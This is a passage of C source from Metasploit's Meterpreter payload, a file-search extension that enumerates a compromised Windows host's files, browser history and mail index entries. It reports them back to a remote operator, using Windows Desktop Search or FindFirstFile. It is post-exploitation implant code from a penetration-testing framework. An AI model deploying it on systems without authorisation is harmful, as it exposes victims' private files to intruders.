1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-04-24 10:09:49 +02:00
Stephen Fewer 724d2c5e92 Meterpreter search support to leverage the index on older systems (2000/XP/2003) via Windows Desktop Search v2.
git-svn-id: file:///home/svn/framework3/trunk@10187 4d416f70-5f16-0410-b530-b9f4589650da
2010-08-30 09:50:41 +00:00

952 lines
30 KiB
C

/*
* Meterpreter support for searching the file system on Windows for a file pattern.
* Supports Windows NT4 up to and including Windows 7. When available it will
* leverage the local index via Windows Desktop Search (WDS) to speed up the search
* process. WDS version 2 is supported for older systems (Windows 2000/XP/2003),
* and version 3 is supported for newer systems (Vista and above by default, Windows
* XP/2003 with an addon). When a directory is not indexed the fallback search
* technique uses FindFirstFile/FindNextFile.
*
* sf - August 2010
*/
#include "precomp.h"
#include "fs.h"
#include "search.h"
/*
* Helper function to add a search result to the response packet.
*/
VOID search_add_result( Packet * pResponse, char * cpDirectory, char * cpFileName, DWORD dwFileSize )
{
Tlv entry[3] = {0};
DWORD dwSize = 0;
do
{
entry[0].header.type = TLV_TYPE_FILE_PATH;
entry[0].header.length = (DWORD)( strlen(cpDirectory) + 1 );
entry[0].buffer = cpDirectory;
entry[1].header.type = TLV_TYPE_FILE_NAME;
entry[1].header.length = (DWORD)( strlen(cpFileName) + 1 );
entry[1].buffer = cpFileName;
dwSize = htonl( dwFileSize );
entry[2].header.type = TLV_TYPE_FILE_SIZE;
entry[2].header.length = sizeof(DWORD);
entry[2].buffer = (PUCHAR)&dwSize;
packet_add_tlv_group( pResponse, TLV_TYPE_SEARCH_RESULTS, entry, 3 );
} while( 0 );
}
/*
* Helper function to initilize the Windows Desktop Search v2 and v3 interfaces (if available).
*/
VOID wds_startup( WDS_INTERFACE * pWDSInterface )
{
DWORD dwResult = ERROR_SUCCESS;
HRESULT hr = 0;
do
{
if( !pWDSInterface )
BREAK_WITH_ERROR( "[SEARCH] wds_startup: !pWDSInterface", ERROR_INVALID_HANDLE );
memset( pWDSInterface, 0, sizeof(WDS_INTERFACE) );
hr = CoInitialize( NULL );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds_startup: CoInitializeEx Failed", hr );
do
{
pWDSInterface->hQuery = LoadLibraryA( "query.dll" );
if( !pWDSInterface->hQuery )
BREAK_ON_ERROR( "[SEARCH] wds_startup:v2: LoadLibraryA query.dll Failed" );
pWDSInterface->pLocateCatalogsA = (LOCATECATALOGSA)GetProcAddress( pWDSInterface->hQuery, "LocateCatalogsA" );
if( !pWDSInterface->pLocateCatalogsA )
BREAK_ON_ERROR( "[SEARCH] wds_startup:v2: GetProcAddress LocateCatalogsA Failed" );
pWDSInterface->pCIMakeICommand = (CIMAKEICOMMAND)GetProcAddress( pWDSInterface->hQuery, "CIMakeICommand" );
if( !pWDSInterface->pCIMakeICommand )
BREAK_ON_ERROR( "[SEARCH] wds_startup:v2: GetProcAddress CIMakeICommand Failed" );
pWDSInterface->pCITextToFullTree = (CITEXTTOFULLTREE)GetProcAddress( pWDSInterface->hQuery, "CITextToFullTree" );
if( !pWDSInterface->pCITextToFullTree )
BREAK_ON_ERROR( "[SEARCH] wds_startup:v2: GetProcAddress CITextToFullTree Failed" );
pWDSInterface->bWDS2Available = TRUE;
} while( 0 );
do
{
hr = CoCreateInstance( &_CLSID_CSearchManager, NULL, CLSCTX_ALL, &_IID_ISearchManager, (LPVOID *)&pWDSInterface->pSearchManager );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds_startup:v3: CoCreateInstance _IID_ISearchManager Failed", hr );
hr = ISearchManager_GetCatalog( pWDSInterface->pSearchManager, L"SystemIndex", &pWDSInterface->pSearchCatalogManager );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds_startup:v3: ISearchManager_GetCatalog Failed", hr );
hr = ISearchCatalogManager_GetCrawlScopeManager( pWDSInterface->pSearchCatalogManager, &pWDSInterface->pCrawlScopeManager );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds_startup:v3: ISearchCatalogManager_GetCrawlScopeManager Failed", hr );
pWDSInterface->bWDS3Available = TRUE;
} while( 0 );
} while( 0 );
}
/*
* Helper function to cleanup the Windows Desktop Search v2 and v3 interfaces.
*/
VOID wds_shutdown( WDS_INTERFACE * pWDSInterface )
{
do
{
if( !pWDSInterface )
break;
if( pWDSInterface->hQuery )
FreeLibrary( pWDSInterface->hQuery );
pWDSInterface->pLocateCatalogsA = NULL;
pWDSInterface->pCIMakeICommand = NULL;
pWDSInterface->pCITextToFullTree = NULL;
pWDSInterface->bWDS2Available = FALSE;
if( pWDSInterface->pCrawlScopeManager )
{
ISearchCrawlScopeManager_Release( pWDSInterface->pCrawlScopeManager );
pWDSInterface->pCrawlScopeManager = NULL;
}
if( pWDSInterface->pSearchCatalogManager )
{
ISearchCatalogManager_Release( pWDSInterface->pSearchCatalogManager );
pWDSInterface->pSearchCatalogManager = NULL;
}
if( pWDSInterface->pSearchManager )
{
ISearchManager_Release( pWDSInterface->pSearchManager );
pWDSInterface->pSearchManager = NULL;
}
pWDSInterface->bWDS3Available = FALSE;
CoUninitialize();
} while( 0 );
}
/*
* Helper function to check if a given directory is indexed in the WDS v2 system catalog on the local machine.
*/
BOOL wds2_indexed( WDS_INTERFACE * pWDSInterface, char * cpDirectory )
{
char cMachine[ MAX_COMPUTERNAME_LENGTH + 1 ] = {0};
char cCatalog[ MAX_PATH + 1 ] = {0};
DWORD dwMachineLength = MAX_COMPUTERNAME_LENGTH + 1;
DWORD dwCatalogLength = MAX_PATH + 1 ;
DWORD dwIndex = 0;
do
{
if( !pWDSInterface->bWDS2Available )
break;
while( TRUE )
{
if( pWDSInterface->pLocateCatalogsA( cpDirectory, dwIndex++, cMachine, &dwMachineLength, cCatalog, &dwCatalogLength ) != S_OK )
break;
if( strcmp( cMachine, "." ) != 0 )
continue;
if( _memicmp( "system", cCatalog, 6 ) != 0 )
continue;
dprintf( "[SEARCH] wds2_indexed: Directory '%s' is indexed.", cpDirectory );
return TRUE;
}
} while( 0 );
return FALSE;
}
/*
* Helper function to check if a given directory is indexed in the WDS v3 crawl scope
*/
BOOL wds3_indexed( WDS_INTERFACE * pWDSInterface, char * cpDirectory )
{
HRESULT hr = 0;
size_t dwLength = 0;
WCHAR * wpDirectory = NULL;
BOOL bResult = FALSE;
do
{
if( !pWDSInterface->bWDS3Available )
break;
dwLength = mbstowcs( NULL, cpDirectory, 0 ) + 1;
wpDirectory = (WCHAR *)malloc( dwLength * sizeof(WCHAR) );
if( !wpDirectory )
break;
memset( wpDirectory, 0, dwLength * sizeof(WCHAR) );
if( mbstowcs( wpDirectory, cpDirectory, dwLength ) == -1 )
break;
ISearchCrawlScopeManager_IncludedInCrawlScope( pWDSInterface->pCrawlScopeManager, wpDirectory, &bResult );
} while( 0 );
if( wpDirectory )
free( wpDirectory );
return bResult;
}
/*
* Helper function to execute a WDS v2 or v3 search via COM and process
* any results (assumes rows have columns of 'size,path').
*/
HRESULT wds_execute( ICommand * pCommand, Packet * pResponse )
{
IRowset * pRowset = NULL;
IAccessor * pAccessor = NULL;
size_t dwLength = 0;
HACCESSOR hAccessor = 0;
DBCOUNTITEM dbCount = 0;
DWORD dwResult = 0;
HRESULT hr = 0;
DBBINDING dbBindings[2] = {0};
SEARCH_ROW rowSearchResults = {0};
HROW hRow[1] = {0};
HROW * pRows = &hRow[0];
do
{
hr = ICommand_Execute( pCommand, NULL, &_IID_IRowset, NULL, NULL, (IUnknown**)&pRowset );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds_execute: ICommand_Execute Failed", hr );
hr = IRowset_QueryInterface( pRowset, &_IID_IAccessor, (LPVOID *)&pAccessor );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds_execute: IRowset_QueryInterface _IID_IAccessor Failed", hr );
memset( &dbBindings, 0, sizeof(DBBINDING)*2 );
dbBindings[0].iOrdinal = 1;
dbBindings[0].dwPart = DBPART_STATUS | DBPART_LENGTH | DBPART_VALUE;
dbBindings[0].dwMemOwner = DBMEMOWNER_CLIENTOWNED;
dbBindings[0].cbMaxLen = sizeof(DWORD);
dbBindings[0].dwFlags = 0;
dbBindings[0].eParamIO = DBPARAMIO_NOTPARAM;
dbBindings[0].wType = DBTYPE_I4;
dbBindings[0].obStatus = offsetof( SEARCH_ROW, dbSizeStatus );
dbBindings[0].obLength = offsetof( SEARCH_ROW, dwSizeLength );
dbBindings[0].obValue = offsetof( SEARCH_ROW, dwSizeValue );
dbBindings[1].iOrdinal = 2;
dbBindings[1].dwPart = DBPART_STATUS | DBPART_LENGTH | DBPART_VALUE;
dbBindings[1].dwMemOwner = DBMEMOWNER_CLIENTOWNED;
dbBindings[1].cbMaxLen = MAX_PATH;
dbBindings[1].dwFlags = 0;
dbBindings[1].eParamIO = DBPARAMIO_NOTPARAM;
dbBindings[1].wType = DBTYPE_STR;
dbBindings[1].obStatus = offsetof( SEARCH_ROW, dbPathStatus );
dbBindings[1].obLength = offsetof( SEARCH_ROW, dwPathLength );
dbBindings[1].obValue = offsetof( SEARCH_ROW, cPathValue );
hr = IAccessor_CreateAccessor( pAccessor, DBACCESSOR_ROWDATA, 2, (DBBINDING *)&dbBindings, 0, &hAccessor, NULL );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds_execute: IAccessor_CreateAccessor Failed", hr );
while( TRUE )
{
memset( &rowSearchResults, 0, sizeof(SEARCH_ROW) );
hr = IRowset_GetNextRows( pRowset, DB_NULL_HCHAPTER, 0, 1, &dbCount, (HROW **)&pRows );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds_execute: IRowset_GetNextRows Failed", hr );
if( !dbCount )
BREAK_WITH_ERROR( "[SEARCH] wds_execute: No more rows to get.", ERROR_SUCCESS );
hr = IRowset_GetData( pRowset, hRow[0], hAccessor, &rowSearchResults );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds_execute: IRowset_GetData Failed", hr );
if( _memicmp( "iehistory:", rowSearchResults.cPathValue, 10 ) == 0 )
{
// "iehistory://{*}/"
char * cpHistory = strstr( rowSearchResults.cPathValue, "}" );
if( cpHistory )
search_add_result( pResponse, "", cpHistory+2, 0 );
}
else if( _memicmp( "mapi:", rowSearchResults.cPathValue, 5 ) == 0 )
{
// "mapi://{*}/"
char * cpHistory = strstr( rowSearchResults.cPathValue, "}" );
if( cpHistory )
search_add_result( pResponse, "", cpHistory+2, 0 );
}
else if( rowSearchResults.dwSizeValue > 0 )
{
size_t i = 0;
char * cpFileName = "";
char * cpFile = "";
char * cpDirectory = (char *)&rowSearchResults.cPathValue;
if( _memicmp( "file:", cpDirectory, strlen("file:") ) == 0 )
cpDirectory = (char *)( cpDirectory + strlen("file:") );
for( i=0 ; i<strlen(cpDirectory) ; i++ )
{
if( cpDirectory[i] == '/' )
cpDirectory[i] = '\\';
}
cpFile = strrchr( cpDirectory, '\\' );
if( cpFile )
{
*cpFile = '\x00';
cpFileName = cpFile + 1;
}
else
{
cpDirectory = "";
cpFileName = cpDirectory;
}
search_add_result( pResponse, cpDirectory, cpFileName, rowSearchResults.dwSizeValue );
dprintf( "[SEARCH] wds_execute. Found: %s\\%s", cpDirectory, cpFileName );
}
hr = IRowset_ReleaseRows( pRowset, dbCount, pRows, NULL, NULL, NULL );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds_execute: IRowset_ReleaseRows Failed", hr );
}
} while( 0 );
if( pAccessor )
{
IAccessor_ReleaseAccessor( pAccessor, hAccessor, NULL );
IAccessor_Release( pAccessor );
}
if( pRowset )
IRowset_Release( pRowset );
return dwResult;
}
/*
* Search via Windows Desktop Search v2 via COM
*/
DWORD wds2_search( WDS_INTERFACE * pWDSInterface, char * cpCurrentDirectory, SEARCH_OPTIONS * pOptions, Packet * pResponse )
{
DWORD dwResult = ERROR_SUCCESS;
ICommand * pCommand = NULL;
DBCOMMANDTREE * pTree = NULL;
ICommandTree * pCommandTree = NULL;
WCHAR * wpQuery = NULL;
WCHAR * wpFileGlob = NULL;
WCHAR * wpCurrentDirectory = NULL;
char * cpNewCurrent = NULL;
DWORD dwDepth[1] = {0};
WCHAR * wcScope[1] = {0};
WCHAR * wcCatalog[1] = {0};
WCHAR * wcMachines[1] = {0};
HRESULT hr = 0;
size_t dwLength = 0;
dprintf( "[SEARCH] wds2_search: Starting..." );
do
{
if( !pWDSInterface )
BREAK_WITH_ERROR( "[SEARCH] wds2_search: !pWDSInterface", ERROR_INVALID_PARAMETER );
if( !pWDSInterface->bWDS2Available )
break;
if( !pResponse || !pOptions )
BREAK_WITH_ERROR( "[SEARCH] wds2_search: !pResultList || !pOptions", ERROR_INVALID_PARAMETER );
if( !cpCurrentDirectory )
cpCurrentDirectory = pOptions->cpRootDirectory;
// sf: WDS v2 can bawk if a trailing slash is not present on some paths :/
dwLength = strlen( cpCurrentDirectory );
if( cpCurrentDirectory[dwLength-1] != '\\' )
{
cpNewCurrent = (char *)malloc( dwLength + 2 );
if( !cpNewCurrent )
BREAK_WITH_ERROR( "[SEARCH] wds2_search: !cpNewCurrent", ERROR_OUTOFMEMORY );
memset( cpNewCurrent, 0, dwLength + 2 );
sprintf( cpNewCurrent, "%s\\", cpCurrentDirectory );
cpCurrentDirectory = cpNewCurrent;
}
if( pOptions->bResursive )
dwDepth[0] = QUERY_DEEP | QUERY_PHYSICAL_PATH;
else
dwDepth[0] = QUERY_SHALLOW | QUERY_PHYSICAL_PATH;
dwLength = mbstowcs( NULL, cpCurrentDirectory, 0 ) + 1;
wpCurrentDirectory = (WCHAR *)malloc( dwLength * sizeof(WCHAR) );
if( !wpCurrentDirectory )
BREAK_WITH_ERROR( "[SEARCH] wds2_search: !wpCurrentDirectory", ERROR_OUTOFMEMORY );
memset( wpCurrentDirectory, 0, dwLength * sizeof(WCHAR) );
if( mbstowcs( wpCurrentDirectory, cpCurrentDirectory, dwLength ) == -1 )
BREAK_WITH_ERROR( "[SEARCH] wds2_search: mbstowcs wpCurrentDirectory failed", ERROR_INVALID_PARAMETER );
wcScope[0] = wpCurrentDirectory;
wcCatalog[0] = L"System";
wcMachines[0] = L".";
hr = pWDSInterface->pCIMakeICommand( (ICommand**)&pCommand, 1, (DWORD *)&dwDepth, (WCHAR **)&wcScope, (WCHAR **)&wcCatalog, (WCHAR **)&wcMachines );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds2_search: CIMakeICommand Failed", hr );
hr = ICommand_QueryInterface( pCommand, &_IID_ICommandTree, (LPVOID *)&pCommandTree );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds2_search: ICommand_QueryInterface Failed", hr );
dwLength = mbstowcs( NULL, pOptions->cpFileGlob, 0 ) + 1;
wpFileGlob = (WCHAR *)malloc( dwLength * sizeof(WCHAR) );
if( !wpFileGlob )
BREAK_WITH_ERROR( "[SEARCH] wds2_search: !wpFileGlob", ERROR_OUTOFMEMORY );
wpQuery = (WCHAR *)malloc( ( dwLength + 128 ) * sizeof(WCHAR) );
if( !wpQuery )
BREAK_WITH_ERROR( "[SEARCH] wds2_search: !wpQuery", ERROR_OUTOFMEMORY );
memset( wpFileGlob, 0, dwLength * sizeof(WCHAR) );
memset( wpQuery, 0, ( dwLength + 128 ) * sizeof(WCHAR) );
if( mbstowcs( wpFileGlob, pOptions->cpFileGlob, dwLength ) == -1 )
BREAK_WITH_ERROR( "[SEARCH] wds2_search: mbstowcs wpFileGlob failed", ERROR_INVALID_PARAMETER );
swprintf_s( wpQuery, ( dwLength + 128 ), L"#filename = %s", wpFileGlob );
hr = pWDSInterface->pCITextToFullTree( wpQuery, L"size,path", NULL, NULL, &pTree, 0, NULL, GetSystemDefaultLCID() );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds2_search: CITextToFullTree Failed", hr );
hr = ICommandTree_SetCommandTree( pCommandTree, &pTree, DBCOMMANDREUSE_NONE, FALSE );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds2_search: ICommandTree_SetCommandTree Failed", hr );
hr = wds_execute( pCommand, pResponse );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds2_search: wds_execute Failed", hr );
} while( 0 );
if( pCommandTree )
ICommandTree_Release( pCommandTree );
if( pCommand )
ICommand_Release( pCommand );
if( wpFileGlob )
free( wpFileGlob );
if( wpQuery )
free( wpQuery );
if( wpCurrentDirectory )
free( wpCurrentDirectory );
if( cpNewCurrent )
free( cpNewCurrent );
dprintf( "[SEARCH] wds2_search: Finished." );
return dwResult;
}
/*
* Search via Windows Desktop Search >= 3.0 via COM ...yuk! would a kernel32!FileSearch( "*.doc" ) have killed them!?!?
*/
DWORD wds3_search( WDS_INTERFACE * pWDSInterface, WCHAR * wpProtocol, char * cpCurrentDirectory, SEARCH_OPTIONS * pOptions, Packet * pResponse )
{
DWORD dwResult = ERROR_SUCCESS;
WCHAR * wpSQL = NULL;
WCHAR * wpQuery = NULL;
WCHAR * wpConnectionString = NULL;
ISearchQueryHelper * pQueryHelper = NULL;
IDataInitialize * pDataInitialize = NULL;
IDBInitialize * pIDBInitialize = NULL;
IDBCreateSession * pSession = NULL;
IOpenRowset * pOpenRowset = NULL;
IDBCreateCommand * pCreateCommand = NULL;
ICommand * pCommand = NULL;
ICommandText * pCommandText = NULL;
HRESULT hr = 0;
size_t dwLength = 0;
dprintf( "[SEARCH] wds3_search: Starting..." );
do
{
if( !pWDSInterface )
BREAK_WITH_ERROR( "[SEARCH] wds3_search: !pWDSInterface", ERROR_INVALID_PARAMETER );
if( !pWDSInterface->bWDS3Available )
break;
if( !pResponse || !pOptions || !wpProtocol )
BREAK_WITH_ERROR( "[SEARCH] wds3_search: !pResultList || !pOptions || !wpProtocol", ERROR_INVALID_PARAMETER );
if( !cpCurrentDirectory )
cpCurrentDirectory = pOptions->cpRootDirectory;
hr = ISearchCatalogManager_GetQueryHelper( pWDSInterface->pSearchCatalogManager, &pQueryHelper );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds3_search: ISearchCatalogManager_GetQueryHelper Failed", hr );
hr = ISearchQueryHelper_put_QuerySelectColumns( pQueryHelper, L"size,path" );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds3_search: ISearchQueryHelper_put_QuerySelectColumns Failed", hr );
if( cpCurrentDirectory )
{
WCHAR * wpWhere = NULL;
WCHAR * wpRootDirectory = NULL;
do
{
dwLength = mbstowcs( NULL, cpCurrentDirectory, 0 ) + 1;
wpWhere = (WCHAR * )malloc( (dwLength+128) * sizeof(WCHAR) );
if( !wpWhere )
BREAK_WITH_ERROR( "[SEARCH] wds3_search: !wpWhere", ERROR_OUTOFMEMORY );
wpRootDirectory = (WCHAR * )malloc( dwLength * sizeof(WCHAR) );
if( !wpRootDirectory )
BREAK_WITH_ERROR( "[SEARCH] wds3_search: !wpRootDirectory", ERROR_OUTOFMEMORY );
memset( wpRootDirectory, 0, dwLength * sizeof(WCHAR) );
if( mbstowcs( wpRootDirectory, cpCurrentDirectory, dwLength ) == -1 )
BREAK_WITH_ERROR( "[SEARCH] wds3_search: mbstowcs wpRootDirectory failed", ERROR_INVALID_PARAMETER );
if( pOptions->bResursive )
wsprintfW( (LPWSTR)wpWhere, L"AND SCOPE='%s:%s'", wpProtocol, wpRootDirectory );
else
wsprintfW( (LPWSTR)wpWhere, L"AND DIRECTORY='%s:%s'", wpProtocol, wpRootDirectory );
hr = ISearchQueryHelper_put_QueryWhereRestrictions( pQueryHelper, wpWhere );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds3_search: ISearchQueryHelper_put_QueryWhereRestrictions Failed", hr );
} while( 0 );
if( wpWhere )
free( wpWhere );
if( wpRootDirectory )
free( wpRootDirectory );
}
dwLength = mbstowcs( NULL, pOptions->cpFileGlob, 0 ) + 1;
wpQuery = (WCHAR *)malloc( dwLength * sizeof(WCHAR) );
if( !wpQuery )
BREAK_WITH_ERROR( "[SEARCH] wds3_search: !wpQuery", ERROR_OUTOFMEMORY );
memset( wpQuery, 0, dwLength * sizeof(WCHAR) );
if( mbstowcs( wpQuery, pOptions->cpFileGlob, dwLength ) == -1 )
BREAK_WITH_ERROR( "[SEARCH] wds3_search: mbstowcs wpQuery failed", ERROR_INVALID_PARAMETER );
hr = ISearchQueryHelper_GenerateSQLFromUserQuery( pQueryHelper, wpQuery, &wpSQL );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds3_search: ISearchQueryHelper_GenerateSQLFromUserQuery Failed", hr );
hr = CoCreateInstance( &_CLSID_MSDAInitialize, NULL, CLSCTX_ALL, &_IID_IDataInitialize, (LPVOID *)&pDataInitialize );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds3_search: CoCreateInstance _IID_IDataInitialize Failed", hr );
hr = ISearchQueryHelper_get_ConnectionString( pQueryHelper, &wpConnectionString );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds3_search: ISearchQueryHelper_get_ConnectionString _IID_IDataInitialize Failed", hr );
hr = IDataInitialize_GetDataSource( pDataInitialize, NULL, CLSCTX_INPROC_SERVER, wpConnectionString, &_IID_IDBInitialize, (IUnknown**)&pIDBInitialize );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds3_search: IDataInitialize_GetDataSource Failed", hr );
hr = IDBInitialize_Initialize( pIDBInitialize );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds3_search: IDBInitialize_Initialize Failed", hr );
hr = IDBInitialize_QueryInterface( pIDBInitialize, &_IID_IDBCreateSession, (LPVOID *)&pSession );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds3_search: IDBInitialize_QueryInterface Failed", hr );
hr = IDBCreateSession_CreateSession( pSession, NULL, &_IID_IOpenRowset, (IUnknown**)&pOpenRowset );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds3_search: IDBCreateSession_CreateSession Failed", hr );
hr = IOpenRowset_QueryInterface( pOpenRowset, &_IID_IDBCreateCommand, (LPVOID *)&pCreateCommand );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds3_search: IOpenRowset_QueryInterface Failed", hr );
hr = IDBCreateCommand_CreateCommand( pCreateCommand, NULL, &_IID_ICommand, (IUnknown**)&pCommand );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds3_search: IDBCreateCommand_CreateCommand Failed", hr );
hr = ICommand_QueryInterface( pCommand, &_IID_ICommandText, (LPVOID *)&pCommandText );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds3_search: ICommand_QueryInterface Failed", hr );
#ifdef DEBUGTRACE
OutputDebugStringW( wpSQL );
#endif
hr = ICommandText_SetCommandText( pCommandText, &DBGUID_DEFAULT, wpSQL );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds3_search: ICommandText_SetCommandText Failed", hr );
hr = wds_execute( pCommand, pResponse );
if( FAILED( hr ) )
BREAK_WITH_ERROR( "[SEARCH] wds3_search: wds_execute Failed", hr );
} while( 0 );
dprintf( "[SEARCH] wds3_search: Releasing COM objects..." );
if( pCommandText )
ICommandText_Release( pCommandText );
if( pCreateCommand )
IDBCreateCommand_Release( pCreateCommand );
if( pCommand )
ICommand_Release( pCommand );
if( pOpenRowset )
IOpenRowset_Release( pOpenRowset );
if( pSession )
IDBCreateSession_Release( pSession );
if( pQueryHelper )
ISearchQueryHelper_Release( pQueryHelper );
if( pIDBInitialize )
IDBInitialize_Release( pIDBInitialize );
if( pDataInitialize )
IDataInitialize_Release( pDataInitialize );
if( wpQuery )
free( wpQuery );
dprintf( "[SEARCH] wds3_search: Finished." );
return dwResult;
}
/*
* Search a directory for files.
*/
DWORD search_directory( char * cpDirectory, SEARCH_OPTIONS * pOptions, Packet * pResponse )
{
DWORD dwResult = ERROR_SUCCESS;
HANDLE hFile = NULL;
char * cpFirstFile = NULL;
WIN32_FIND_DATA FindData = {0};
size_t dwLength = 0;
do
{
dwLength = strlen( cpDirectory ) + strlen( pOptions->cpFileGlob ) + 32;
cpFirstFile = (char *)malloc( dwLength );
if( !cpFirstFile )
BREAK_WITH_ERROR( "[SEARCH] search_directory: !cpFirstFile", ERROR_OUTOFMEMORY );
sprintf_s( cpFirstFile, dwLength, "%s\\%s", cpDirectory, pOptions->cpFileGlob );
hFile = FindFirstFile( cpFirstFile, &FindData );
if( hFile == INVALID_HANDLE_VALUE )
{
// if not files in this directory matched our pattern, finish with success
if( GetLastError() == ERROR_FILE_NOT_FOUND )
break;
// otherwise we fail with an error
BREAK_ON_ERROR( "[SEARCH] search_directory: FindFirstFile Failed." );
}
do
{
do
{
if( strcmp( FindData.cFileName, "." ) == 0 )
break;
if( strcmp( FindData.cFileName, ".." ) == 0 )
break;
if( FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY )
break;
search_add_result( pResponse, cpDirectory, FindData.cFileName, FindData.nFileSizeLow );
dprintf( "[SEARCH] search_directory. Found: %s\\%s", cpDirectory, FindData.cFileName );
} while( 0 );
} while( FindNextFile( hFile, &FindData ) != 0 );
} while( 0 );
if( cpFirstFile )
free( cpFirstFile );
if( hFile )
FindClose( hFile );
return dwResult;
}
/*
* Perform a file search using Windows Desktop Search (v2 or v3 depending what's available)
* and falling back to a FindFirstFile/FindNextFile search technique if not.
*/
DWORD search( WDS_INTERFACE * pWDSInterface, char * cpCurrentDirectory, SEARCH_OPTIONS * pOptions, Packet * pResponse )
{
DWORD dwResult = ERROR_ACCESS_DENIED;
HANDLE hFile = NULL;
char * cpFirstFile = NULL;
BOOL bAllreadySearched = FALSE;
WIN32_FIND_DATA FindData = {0};
size_t dwLength = 0;
do
{
if( !pResponse || !pOptions )
BREAK_WITH_ERROR( "[SEARCH] search: !pResponse || !pOptions", ERROR_INVALID_PARAMETER );
if( !cpCurrentDirectory )
cpCurrentDirectory = pOptions->cpRootDirectory;
if( wds3_indexed( pWDSInterface, cpCurrentDirectory ) )
{
dwResult = wds3_search( pWDSInterface, L"file", cpCurrentDirectory, pOptions, pResponse );
}
if( dwResult != ERROR_SUCCESS && wds2_indexed( pWDSInterface, cpCurrentDirectory ) )
{
dwResult = wds2_search( pWDSInterface, cpCurrentDirectory, pOptions, pResponse );
}
if( dwResult != ERROR_SUCCESS )
{
dwResult = ERROR_SUCCESS;
dwLength = strlen( cpCurrentDirectory ) + 32;
cpFirstFile = (char *)malloc( dwLength );
if( !cpFirstFile )
BREAK_WITH_ERROR( "[SEARCH] search: !cpFirstFile", ERROR_OUTOFMEMORY );
sprintf_s( cpFirstFile, dwLength, "%s\\*.*", cpCurrentDirectory );
hFile = FindFirstFile( cpFirstFile, &FindData );
if( hFile == INVALID_HANDLE_VALUE )
{
if( GetLastError() == ERROR_ACCESS_DENIED )
break;
BREAK_ON_ERROR( "[SEARCH] search: FindFirstFile Failed." );
}
do
{
if( FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY )
{
do
{
char * cpNextDirectory = NULL;
if( !pOptions->bResursive )
break;
if( strcmp( FindData.cFileName, "." ) == 0 )
break;
if( strcmp( FindData.cFileName, ".." ) == 0 )
break;
dwLength = strlen( cpCurrentDirectory ) + strlen( FindData.cFileName ) + 32;
cpNextDirectory = (char *)malloc( dwLength );
if( !cpNextDirectory )
break;
sprintf_s( cpNextDirectory, dwLength, "%s\\%s", cpCurrentDirectory, FindData.cFileName );
dwResult = search( pWDSInterface, cpNextDirectory, pOptions, pResponse );
free( cpNextDirectory );
} while( 0 );
}
else
{
if( !bAllreadySearched )
{
// we call search_dir_via_api() to avail of glob searching via a second
// FindFirstFile() loop (which is available on NT4 and up, unlike PathMatchSpec())
dwResult = search_directory( cpCurrentDirectory, pOptions, pResponse );
bAllreadySearched = TRUE;
}
}
} while( FindNextFile( hFile, &FindData ) != 0 );
}
} while( 0 );
if( cpFirstFile )
free( cpFirstFile );
if( hFile )
FindClose( hFile );
return dwResult;
}
/*
* Request routine for performing a file search.
*/
DWORD request_fs_search( Remote * pRemote, Packet * pPacket )
{
DWORD dwResult = ERROR_SUCCESS;
Packet * pResponse = NULL;
SEARCH_OPTIONS * pOptions = NULL;
WDS_INTERFACE WDSInterface = {0};
dprintf( "[SEARCH] request_fs_search. Starting." );
do
{
pResponse = packet_create_response( pPacket );
if( !pResponse )
BREAK_WITH_ERROR( "[SEARCH] request_fs_search: pResponse == NULL", ERROR_INVALID_HANDLE );
pOptions = (SEARCH_OPTIONS *)malloc( sizeof(SEARCH_OPTIONS) );
if( !pOptions )
BREAK_WITH_ERROR( "[SEARCH] search_via_api: !pOptions", ERROR_OUTOFMEMORY );
pOptions->cpRootDirectory = packet_get_tlv_value_string( pPacket, TLV_TYPE_SEARCH_ROOT );
if( !pOptions->cpRootDirectory )
pOptions->cpRootDirectory = "";
if( strlen( pOptions->cpRootDirectory ) == 0 )
pOptions->cpRootDirectory = NULL;
pOptions->bResursive = packet_get_tlv_value_bool( pPacket, TLV_TYPE_SEARCH_RECURSE );
pOptions->cpFileGlob = packet_get_tlv_value_string( pPacket, TLV_TYPE_SEARCH_GLOB );
if( !pOptions->cpFileGlob )
pOptions->cpFileGlob = "*.*";
wds_startup( &WDSInterface );
if( !pOptions->cpRootDirectory )
{
DWORD dwLogicalDrives = 0;
char cIndex = 0;
dwLogicalDrives = GetLogicalDrives();
for( cIndex='a' ; cIndex<='z' ; cIndex++ )
{
if( dwLogicalDrives & ( 1 << (cIndex-'a')) )
{
DWORD dwType = 0;
char cDrive[4] = {0};
